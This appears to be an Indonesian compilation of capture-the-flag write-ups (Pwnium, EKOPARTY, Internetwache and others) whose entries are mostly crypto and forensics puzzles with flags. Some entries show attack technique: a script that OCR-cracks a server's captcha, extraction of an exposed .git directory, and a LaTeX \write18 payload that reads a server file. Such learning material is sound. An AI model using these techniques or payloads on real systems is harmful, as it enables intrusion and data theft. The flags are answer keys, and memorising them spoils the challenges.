cfcd208495d565ef66e7dff9f98764da – 50 c4ca4238a0b923820dcc509a6f75849b – 77 c81e728d9d4c2f636f067f89cc14862c – 6e eccbc87e4b5ce2fe28308fd9f2a7baf3 – 69 a87ff679a2f3e71d9181a67b7542122c – 75 e4da3b7fbbce2345d7772b0674a318d5 – 6d 1679091c5a880faf6fb5e6087eb1b2dc – 7b 8f14e45fceea167a5a36dedd4bea2543 – 30 c9f0f895fb98ab9159f51fd0297e236d – 32 45c48cce2e2d7fbdea1afc51c7c6ad26 – 63 d3d9446802a44259755d38e6d163e820 – 65 6512bd43d9caa6e02c990b0a82652dca – 66 c20ad4d76fe97759aa27a0c99bff6710 – 37 c51ce410c124a10e0db5e4b97fc2af39 – 65 aab3238922bcc25a6f606eb525ffdc56 – 65 9bf31c7ff062936a96d3c8bd1f8f2ff3 – 62 c74d97b01eae257e44aa9d5bade97baf – 37 70efdf2ec9b086079795c442636b55fb – 35 6f4922f45568161a8cdf4ad2299f6d23 – 66 1f0e3dad99908345f7439f8ffabdffc4 – 64 98f13708210194c475687be6106a3b84 – 64 3c59dc048e8850243be8079a5c74d079 – 39 b6d767d2f8ed5d21a44b0e5886680cb9 – 64 37693cfc748049e45d87b8c7d8b9aacd – 66 1ff1de774005f8da13f42943881c655f – 37 4e732ced3463d06de0ca9a15b6153677 – 63 8e296a067a37563370ded05f5a3bf3ec – 36 02e74f10e0327ad868d138f2b4fdd6f0 – 63 33e75ff09dd601bbe69f351039152189 – 30 6ea9ab1baa0efb9e19094440c317e21b – 64 34173cb38f07f89ddbebc2ac9128303f – 63 c16a5320fa475530d9583c34fd356ef5 – 31 6364d3f0f495b6ab9dcf8d3b5c6e0b01 – 65 182be0c5cdcd5072bb1864cdee4d3d6e – 33 e369853df766fa44e1ed0ff613f563bd – 65 1c383cd30b7c298ab50293adfecb7b18 – 32

19ca14e7ea6328a42e0eb13d585e4c22 – 35 a5bfc9e07964f8dddeb95fc584cd965d – 35 a5771bce93e200c36f7cd9dfd0e5deaa – 62 d67d8ab4f4c10bf22aa353e27879133c – 7d

6. ambil 2 bytes list data yang telah terurut dari 0-39 (0­9) ­ 50 77 6e 69 75 6d 7b 30 32 63 (10­19) – 65 66 37 65 65 62 37 35 66 64 (20­29) – 64 39 64 66 37 63 36 63 30 64 (30­39) – 63 31 65 33 65 32 35 35 62 7d

7. Data tersebut adalah hexadecimal sehingga harus dilakukan konversi agar menjadi string. Hex:

50776e69756d7b30326365663765656237356664643964663763366330646331653365323535 627d

String: Pwnium{02cef7eeb75fdd9df7c6c0dc1e3e255b}

8. Selesai

Flag: Pwnium{02cef7eeb75fdd9df7c6c0dc1e3e255b}

Pwnium CTF 2014 - ROT

source: http://krebsco.de/writeups/rot.html 23

Setelah diketahui data,s mulai dilakukan ekstraksi gambar menjadi file.

import telnetlib import base64 tn = telnetlib.Telnet("41.231.53.40", 9090) foo = tn.read_until('\n', 2) foo = foo.strip() foo = base64.b64decode(foo) with open('foo.png', 'w') as f:

f.write(foo)

Setelah proses ekstraksi kemudian didapatkan gambar berikut

Setelah melihat gambar dan petunjuk exco. Maka disimpulkan bahwa gambar harus dipotong secara vertikal

convert foo.png ­crop 100x200+0+0 left.png convert foo.png ­crop 100x200+100+0 right.png

Dan bagian sebelah kiri harus dilakukan rotasi sebesar -90 derajat dan sebelah kanan 90 derajat. Berikut ini adalah hasilnya Dan bagian sebelah kiri harus dilakukan rotasi sebesar -90 derajat dan sebelah kanan 90 derajat. Berikut ini adalah hasilnya

Lakukan merge 2 gambar di atas, kemudian dari proses itu akan ditemukan kode rahasia.

composite left_rot.png right_rot.png ­compose difference difference.png Seperti yang diketahui, cracking captcha secara manual sangatlah tidak mungkin. Manusia

membutuhkan waktu yang lama sedangkan untuk cracking captha membutuhkan waktu singkat. Untuk itu diperlukan bantuan OCR untuk crack kode dan mengirimkannya kembali ke server.

Dengan menggunakan PyTesser yaitu library untuk mengekstrak tulisan dari gambar

from PIL import Image img = Image.open("difference.png") img = img.convert("RGB") from pytesser import * passwd = image_to_string(img).replace(" ","").strip()+"\n"

Setelah beberapa kali percobaan, text recognition tidak dapat mengambil text dari gambar sehingga diperlukan pre-processing gambar. Membuat gambar background (biru dan magenta) menjadi putih dan membuat warna tulisan hitam.

Dengan menggunakan PIL dan load gambar menjadi two dimensional array. Berikut ini adalah kode yang digunakan.

pixdata = img.load() # Clean the background noise, if color != white, then set to black. for y in xrange(img.size[1]):

for x in xrange(img.size[0]): if pixdata[x, y] == (0, 0, 255, 255) or pixdata[x, y] == (255, 0, 255, 255): pixdata[x, y] = (0, 0, 0, 255) else: pixdata[x,y] = (255,255,255,255)

Menyatukan kode

#!/usr/bin/env python #­*­ coding: utf­8 ­*­

import telnetlib import base64 import os tn = telnetlib.Telnet("41.231.53.40", 9090) foo = tn.read_until('\n', 2) foo = foo.strip() foo = base64.b64decode(foo) with open('foo.png', 'w') as f:

f.write(foo)

os.system('convert foo.png ­crop 100x200+0+0 left.png') os.system('convert foo.png ­crop 100x200+100+0 right.png') os.system('convert left.png ­rotate ­90 left_rot.png') os.system('convert right.png ­rotate 90 right_rot.png') os.system('composite left_rot.png right_rot.png ­compose difference difference.png')

from PIL import Image from PIL import Image

img = Image.open("difference.png") img = img.convert("RGBA")

pixdata = img.load() for y in xrange(img.size[1]):

for x in xrange(img.size[0]): if pixdata[x, y] == (0, 0, 255, 255) or pixdata[x, y] == (255, 0, 255, 255): pixdata[x, y] = (0, 0, 0, 255) else: pixdata[x,y] = (255,255,255,255) img = img.convert("RGB") from pytesser import * passwd = image_to_string(img).replace(" ","").strip()+"\n"

print(passwd) tn.write(passwd) print(tn.read_all())

Sehingga didapatkan flag Pwnium{b1a371c90da6a1d2deba2f6ebcfe3fc0}

Pwnium CTF 2014 - usb so fun

24

source: https://crazybulletctfwriteups.wordpress.com/2014/07/07/pwnium-ctf-2014-

usb-so-fun/

File yang diberikan adalah network packet captured file (pcapng). Setelah proses download, hal pertama yang dilakukan adalah proses analisa tipe dan file. Kemudian dilakukan command sederhana pada pcap file.

Langkah untuk crack pada OS Linux

1. Lihat properti file $ file for1.pcap for1.pcap: pcap­ng capture file – version 1.0

2. Tricky commands $ strings for1.pcap | grep ‘Pwnium{‘ Pwnium{408158c115a82175de37e8b3299d1f93}

3. Selesai Flag: Pwnium{408158c115a82175de37e8b3299d1f93}

Pwnium CTF 2014 - Look closer

https://crazybulletctfwriteups.wordpress.com/2014/07/07/pwnium-ctf-2014- 25

source

look-closer/

Problem ini sangat mudah Langkah untuk crack

1. Analisis file $ file Misc1.rar Misc1.rar: JPEG image data, JFIF standard 1.01, comment: “CREATOR: gd­jpeg v1.0 (using IJG JPEG v80), quality = 100”

2. Ubah nama Misc.rar menjadi Misc1.jpg

3. Buka pada image-viewer, kemudian akan ditampilkan sebuah tulisan berukuran kecil. Cukup dengan melakukan zoom pada image dan akhirnya flag berhasil ditemukan

Flag: Pwnium{361a8212dda49824b8fdb70ce48f2f60}

Pwnium CTF 2014 - Break me

source: https://crazybulletctfwriteups.wordpress.com/2014/07/07/pwnium-ctf-2014-

break-me/

Cipher text QlpoOTFBWSZTWTxSmOAAAAsJAF/gOwAgADEAAAiZMNT0JbKzhCQcytA2gNbvXgSvxdyRThQkDxSmOA=

Langkah untuk crack

1. Cipher text menggunakan base64, hal ini diketahui dari panjang total dibagi dengan 4 dan char terakhir adalah =.

2. Jangan menggunakan dekoder base64 online. Tool ini tidak memberikan text unknown atau kode hexa decimal

3. Didapatkan base64 decode ‘BZh91AY&SY<R\x98\xe0\x00\x00\x0b\t\x00_\xe0;\x00

\x001\x00\x00\x08\x990\xd4\xf4%\xb2\xb3\x84$\x1c\xc9\x0b@\xda\x03[\xbdx\x12\ xbf\x17rE8P\x90<R\x98\xe0’

4. Cari sesuatu yang berhubungan dengan output yang terkait

5. BZh91AY&SY terkait dengan kompresi bz2. Sehingga dilakukan kompresi bz2 pada module dengan menggunakan bahasa pemrograman Python.

>>> import bz2 >>> b64d = ‘BZh91AY&SY<R\x98\xe0\x00\x00\x0b\t\x00_\xe0;\x00 \x001\x00\x00\x08\x990\xd4\xf4%\xb2\xb3\x84$\x1c\xc9\x0b@\xda\x03[\xbdx\x12\xbf\x1 7rE8P\x90<R\x98\xe0’ >>> d = bz2.decompress(b64d) >>> print repr(d) ‘9afa828748387b6ac0a393c00e542079’ >>>

6. Selesai Flag: 9afa828748387b6ac0a393c00e542079

Pwnium CTF 2014 - Alter code

source: https://crazybulletctfwriteups.wordpress.com/2014/07/08/pwnium-ctf-2014- 27

alter-code/

Analisa file main.c. Output yang dihasilkan memberikan sesuatu yang berbeda dan output tersebut menggantikan sebuah kode rahasia pada program main.c.

Given text: B1lR]c5r]Qsqfg Langkah untuk solve problem ini

1. Fokus pada kode rahasia

2. Menggunakan tool basic kriptografi seperti Mono Alphabetic cipher

3. Sehingga diputuskan untuk menggunakan metode enkripsi ROT-x (1-25)

4. Ada satu hasil dekripsi string yang memiliki makna yaitu sushi

5. Admin memberikan hint bahwa mata-mata berasal dari jepang

ROT­0: B1lR]c5r]Qsqfg ROT­1: C2mS]d6s]Rtrgh ROT­2: D3nT]e7t]Sushi ROT­3: E4oU]f8u]Tvtij ROT­4: F5pV]g9v]Uwujk ROT­5: G6qW]h0w]Vxvkl ROT­6: H7rX]i1x]Wywlm ROT­7: I8sY]j2y]Xzxmn ROT­8: J9tZ]k3z]Yayno ROT­9: K0uA]l4a]Zbzop ROT­10: L1vB]m5b]Acapq ROT­11: M2wC]n6c]Bdbqr ROT­12: N3xD]o7d]Cecrs ROT­13: O4yE]p8e]Dfdst ROT­14: P5zF]q9f]Egetu ROT­15: Q6aG]r0g]Fhfuv ROT­16: R7bH]s1h]Gigvw ROT­17: S8cI]t2i]Hjhwx ROT­18: T9dJ]u3j]Ikixy ROT­19: U0eK]v4k]Jljyz ROT­20: V1fL]w5l]Kmkza ROT­21: W2gM]x6m]Lnlab ROT­22: X3hN]y7n]Mombc ROT­23: Y4iO]z8o]Npncd ROT­24: Z5jP]a9p]Oqode ROT­25: A6kQ]b0q]Prpef

6. Konsentrasi pada ROT-2: D3nT]e7t]Sushi

7. Hint dari admin adalah “Observe Tabs and Spaces”

8. Ubah ] menjadi _ sehingga menjadi D0nT_e7t_Sushi Flag: DonT_e7t

EKOPARTY CTF 2015 - XOR Crypter

http://capturetheswag.blogspot.co.id/2015/10/ekoparty-2015-xor-crypter- 28

source:

crypto-200.html

File zip berisi script Python bernama “shiftcrypt.py”. Namun source code ini terlihat ganjil. Untuk mendekripsikan encrypted text seharusnya melakukan

operasi yang sama seperti cipher text – encyrpted text.

result = [] blocks = struct.unpack("I" * (len(data) / 4), data)

print repr(blocks)

for block in blocks: result += [block ^ block >> 16]

Mencoba mengenkripsi string yang diberikan CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA= Dilakukan proses enkripsi lagi root@mankrik:~/ekoparty/crypto200# echo

CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA= | base64 ­d > c; ./shiftcrypt.py "`cat c`" | tail ­1 | base64 ­d

EKO{unshifting_the_unshiftable} Flag ditemukan EKO{unshifting_the_unshiftable}

Internetwache CTF 2016 - Quick Run

http://ctfwriteups.blogspot.co.id/2016/02/internetwache-ctf-2016-quick- 29

source:

run.html

Question

Solution Link file di dalam zip https://app.box.com/s/8aoepmqzfetr2syj9usq433kptaz8nid Mencoba base64 karena padding “==” pada text dan ditemukan QR code pada tiap blok text

Decoding QR code tersebut dan akhirnya flag ditemukan Flag is IW{QR_C0DES_RUL3} Flag: IW{QR_C0DES_RUL3}

Internetwache CTF 2016 - The hidden message

30

source: http://ctfwriteups.blogspot.co.id/2016/02/internetwache-ctf-2016-hidden-

message.html

Question

Solution File README.txt di dalam file zip berisi 0000000 126 062 126 163 142 103 102 153 142 062 065 154 111 121 157 113

0000020 122 155 170 150 132 172 157 147 123 126 144 067 124 152 102 146 0000040 115 107 065 154 130 062 116 150 142 154 071 172 144 104 102 167 0000060 130 063 153 167 144 130 060 113 012 0000071

Melihat dari angka-angka tersebut, sangat jelas bahwa angka tersebut merupakan bilangan oktal. Dengan mengkonversi bilangan oktal menjadi ASCII akan memberikan hasil:

V2VsbCBkb25lIQoKRmxhZzogSVd7TjBfMG5lX2Nhbl9zdDBwX3kwdX0K Setelah itu lakukan proses decode base64 Flag IW{N0_0ne_can_st0p_y0u}

Internetwache CTF 2016 - Crypto-pirat

source: http://ctfwriteups.blogspot.co.id/2016/02/internetwache-ctf-2016-crypto-

pirat.html

Question

Attachment crypto50.zip Solution Attachment memiliki file README.txt yang berisi ♆♀♇♀♆ ♇♇♀♆⊕ ♇♀♇♀♆ ♇♆♇♆⊕ ♆♇♆♇♇ ♀♆♇♆⊕ ♆♇♆♇♆ ♇♆♇♆⊕ ♆♇♇♀♇ ♀♆⊕♇♀ ♆⊕♇♀♆ ⊕♆♇♆♇ ♇♀♆♇♆

Hint mengatakan bahwa ada sebuah tabel pada website yang populer. Merujuk pada link berikut http://solarsystem.nasa.gov/galleries/solar-system-symbols

Simbol-simbol diatas disubstitusikan berdasarkan nomor planet. Sehingga didapatkan barisan angka seperti berikut ini 82928 99283 92928 98983 89899 28983 89898 98983 89929 28392 83928 38989 92898

Pada deskripsi ditulis “Did the East German Secret Police see a Pirat on the sky?” sehingga dicobalah untuk dilakuakn pencarian menggunakan Google. Hasil pencarian merujuk pada Stasi

Stasi memiliki table cipher vernam bernama TAPIR Dekripsi barisan angka menggunakan TAPIR. Sehingga didapatkan hasil seperti sandi morse berikut

­.­ ­. ..­. .... .­­ ­ ­ ..­. ­­ ...­ ... ... ­.­. ­..­ ..­­­ ..­ ­­. .­ ­.­ ­ .... ­.­. ­..­ ..­­­ ­.. ­­­ ­. ... .­­ ....­ ­. ...­­ ... .­.. ..... .­­ ­­. . ..­­­ ­.­. ­­... ­. ­. ... ­..­ . ­­­ .­. .­­­ .­­. ..­ ­...­ ­...­ ­...­ ­...­ ­...­ ­...­

Yang didalam alfabet berbunyi kzfhwttfmvsscx2ugayhcx2dozsw4z3sl5wge2c7nzsxeorjpu====== Lakukan base32 VJ{Neee!_T00q_Cvengr_lbh_ner:)} ROT-13 IW{Arrr!_G00d_Pirate_you_are:)}

Flag: IW{Arrr!_G00d_Pirate_you_are:)}

Internetwache 2016 - Replace with grace

32

source: http://ctfwriteups.blogspot.co.id/2016/02/internetwache-ctf-2016-replace-

with.html

Question

Service https://replace-with-grace.ctf.internetwache.org Solution Halaman web memiliki 3 parameter yaitu: search, replace dan content Contohnya

search : /cow/ replace : cat content : cows are cute output : cats are cute.

Karena halaman web menggunakan PHP maka untuk search digunakan fungsi preg_replace.

Flag IW{R3Pl4c3_N0t_S4F3}

Internetwache CTF 2016 - oldskoolblog

source: http://ctfwriteups.blogspot.co.id/2016/02/internetwache-ctf-2016-

0ldsk00lblog.html

Question

Service https://0ldsk00lblog.ctf.internetwache.org/ Di dalam blog menampilkan bahwa “All people are talking about a tool called ‘Git’, I think I might

give this a try“. Statement ini menimbulkan kecurigaan sehingga dicoba untuk mengecek apa yang ada di dalam folder melalui url https://0ldsk00lblog.ctf.internetwache.org/.git/

Namun browser menampilkan “403 Forbidden” yang berarti direktori tersebut ada namun tidak dapat diakses. Setelah itu mempelajari struktur direktori git.

Dengan menggunakan sebuah tool yang sangat berguna yaitu dcvr-ripper yang dapat membantu menemukan commits dan mengecek apakah direktory pada git dapat diakses seperti log, config, objek dan lain sebagainya.

Setelah menggunakan tool tersebut, berikut ini adalah list objek yang didapat objects/14/d58c53d0e70c92a3a0a5d22c6a1c06c4a2d296

objects/db/a52097aba3af2b30ccbc589912ae67dcf5d77b objects/26/858023dc18a164af9b9f847cbfb23919489ab2 objects/8c/46583a968da7955c13559693b3b8c5e5d5f510 objects/14/d58c53d0e70c92a3a0a5d22c6a1c06c4a2d296 objects/db/a52097aba3af2b30ccbc589912ae67dcf5d77b objects/26/858023dc18a164af9b9f847cbfb23919489ab2

objects/25/a3f35784188ac1c9bf48a94e5a9c815bcb598c objects/33/a5c0876603d7a6f9729637f36030bbabb2afa3 objects/95/a5396e62ca5c9577f761ebe969f52d3b6a9235 objects/19/49446afea12e0937044fdabe8cc101c87f7c54 objects/3b/e70be50c04bab8cd5d115da10c3a9c784d6bae objects/91/f09a7948e02d891d3a39c058a634a8752aba20 objects/75/03402e4d48be951cddda34aae6e01905bb5c98 objects/55/08adb31bf48ae5fe437bdeba60f83982356934

Membaca file objek File dalam list diperiksa satu persatu Setelah itu mendekompres tiap objek menggunakan python dan zlib, dan akhirnya objek terakhir

pada list terdapat flag objects/55/08adb31bf48ae5fe437bdeba60f83982356934

Flag IW{G1T_1S_4W3SOME}

Internetwache CTF 2016 - Texmaker

http://ctfwriteups.blogspot.co.id/2016/02/internetwache-ctf-2016- 34

source:

texmaker.html

Question

Service https://texmaker.ctf.internetwache.org/ Solution Halaman website akan memberikan program a late dan membuat sebuah pdf Guide untuk melakukan hack pada latex http://cseweb.ucsd.edu/~hovav/dist/texhack.pdf Pendekatan pertama yang dilakukan adalah menggunakan \input{“ls”} namun website merespon

dengan “BLACKLISTED commands cannot be used” Pendekatan kedua dengan menggunakan \write18

Dan \write18{cat ../flag.php}

Flag IW{L4T3x_IS_Tur1ng_c0mpl3te}

Nuit de Hack Quals 2014 - carbonara

35

source: http://ctfwriteups.blogspot.co.id/2014/04/nuit-de-hack-quals-2014-

carbonara.html

Question

Cipher text %96 7=28 7@C E9:D 492= :D iQx>A6C2E@C xF=:FD r26D2C s:GFDQ]

Solusi Pendekatan pertama, subsititusi dengan melihat pada website asciitable.com : menjadi i

D menjadi s Sehingga didapatkan flag Imperator Iulius Caesar Divus

Nuit de Hack Quals 2014 - Here kitty kitty

source: http://ctfwriteups.blogspot.co.id/2014/04/nuit-de-hack-quals-2014-here-kitty-

kitty.html

Question

Mirror link http://1drv.ms/1jjplOH Hal yang pertama dilakukan adalah membuka file dengan menggunakan bantuan program audacity.

Waveform yang didapat sangat aneh sehingga menimbulkan kecurigaan. Dengan melakukan zoom in pada gelombang maka didapatkan sandi morse.

Berikut ini adalah sandi morse yang didapat ..... ­... ­.­. ­­­­. ..­­­ ..... ­.... ....­ ­­­­. ­.­. ­... ­­­­­ .­­­­ ­­­..

Dekoding sandi morse yang didapat sehingga menghasilkan md5 hash 5BC925649CB0188F52E617D70929191C Karena problem ini case sensitive maka flag 5bc925649cb0188f52e617d70929191c

Olympic CTF 2014 - Binathlon 10 – Just no one

source: http://ctfwriteups.blogspot.co.id/2014/02/olympic-ctf-2014-binathlon-10-just-

no.html

Problem ini adalah problem binary

Challenge file https://db.tt/5I7qkEPv Problem dikategorikan sebagai problem binary namun problem ini mengajarkan kita bagaimana

pentingnya untuk membaca license agreement. File yang didapat adalah delphi coded password protected. Namun ternyata tidak sulit untuk menemukannya dan berikut ini adalah jawabannya

Flag: ILOVEREADINGEULAS

Olympic CTF 2014 - Out there

source: http://ctfwriteups.blogspot.co.id/2014/02/olympic-ctf2014-curling-10-out-

there.html

Problem ini berdasarkan ipv6 sehingga perlu dilakukan konfigurasi untuk mengakses alamat ipv6. Untuk menyelesaikan problem ini digunakanlah untuk https://ipv6.he.net/ tunelling

Question

Flag is out there http://[2a02:6b8:0:141f:fea9:d5ff:fed5:XX01]/ Lakukan pencarian dengan menggunakan google kemudian didapatkan hasil bahwa alamat yang

diakeses seharusnya adalha http://[2a02:6b8:0:141f:fea9:d5ff:fed5:6901 ] XX adalah 69. Lakukan inspeksi souce code pada website kemudian dapatakan flag

Flag CTF{7a0dd6d4556a7ed60e6f7686eae0590d}

Olympic CTF 2014 – as seen on defcon

39

source: http://ctfwriteups.blogspot.co.id/2014/02/olympic-ctf-2014-nopsleigh-10-as-

seen.html

Question

EBFE is to x86 as _______ is to ARM64 Solution Untuk menyelesaikan problem ini, yang harus dilakukan adalah mencari upcode pada unconditional

branch pada infinite loop di ARM64 sebagai EBFE di x86 yang berarti unconditional jump. Hint yang didapat adalah pertanyaan itu sendiri. Tugas yang harus dilakukan adalah menemukan opcode. Lakukan pencarian pada Google kemudian didapatkan 0x14000000 sebagai opcode. Jika ditemukan EAFFFFFE maka itu adalah 32 bit.

Flag: 00000014

Olympic CTF 2014 - crypting

40

source: http://ctfwriteups.blogspot.co.id/2014/02/olympic-ctf-2014-figure-crypting-

10.html

Question

43wdxz 4edcvgt5 65rdcvb 6tfcgh8uhb 9ijn

Solution

Untuk menyelesaikan problem ini dengan mudah, digunakanlah gambar bantuan

Flag: sochi

BackdoorCTF 2014 – wifi password

source: http://singularityctf.blogspot.co.id/2014/03/backdoorctf-2014-writeup-misc-

250-1-eng.html

Problem

Satyam memiliki keahlian untuk melihat tiga karakter terakhir dari password temannya yang bernama Pravj yaitu 007. Sebagai hacker, dia mengcapture paket yang dikirim melalui router WiFi milik Pravj. Satyam dan Pravj adalah teman yang sangat dekat, dia mengetahui seberapa cintanya Pravj dengan sistem angka hexadesimal. Bantu Satyam untuk meretas password WiFi (Satyam tidak tahu bahwa password menggunakan pergeseran kunci). Flag menggunakan md5(wifi_password)

Solution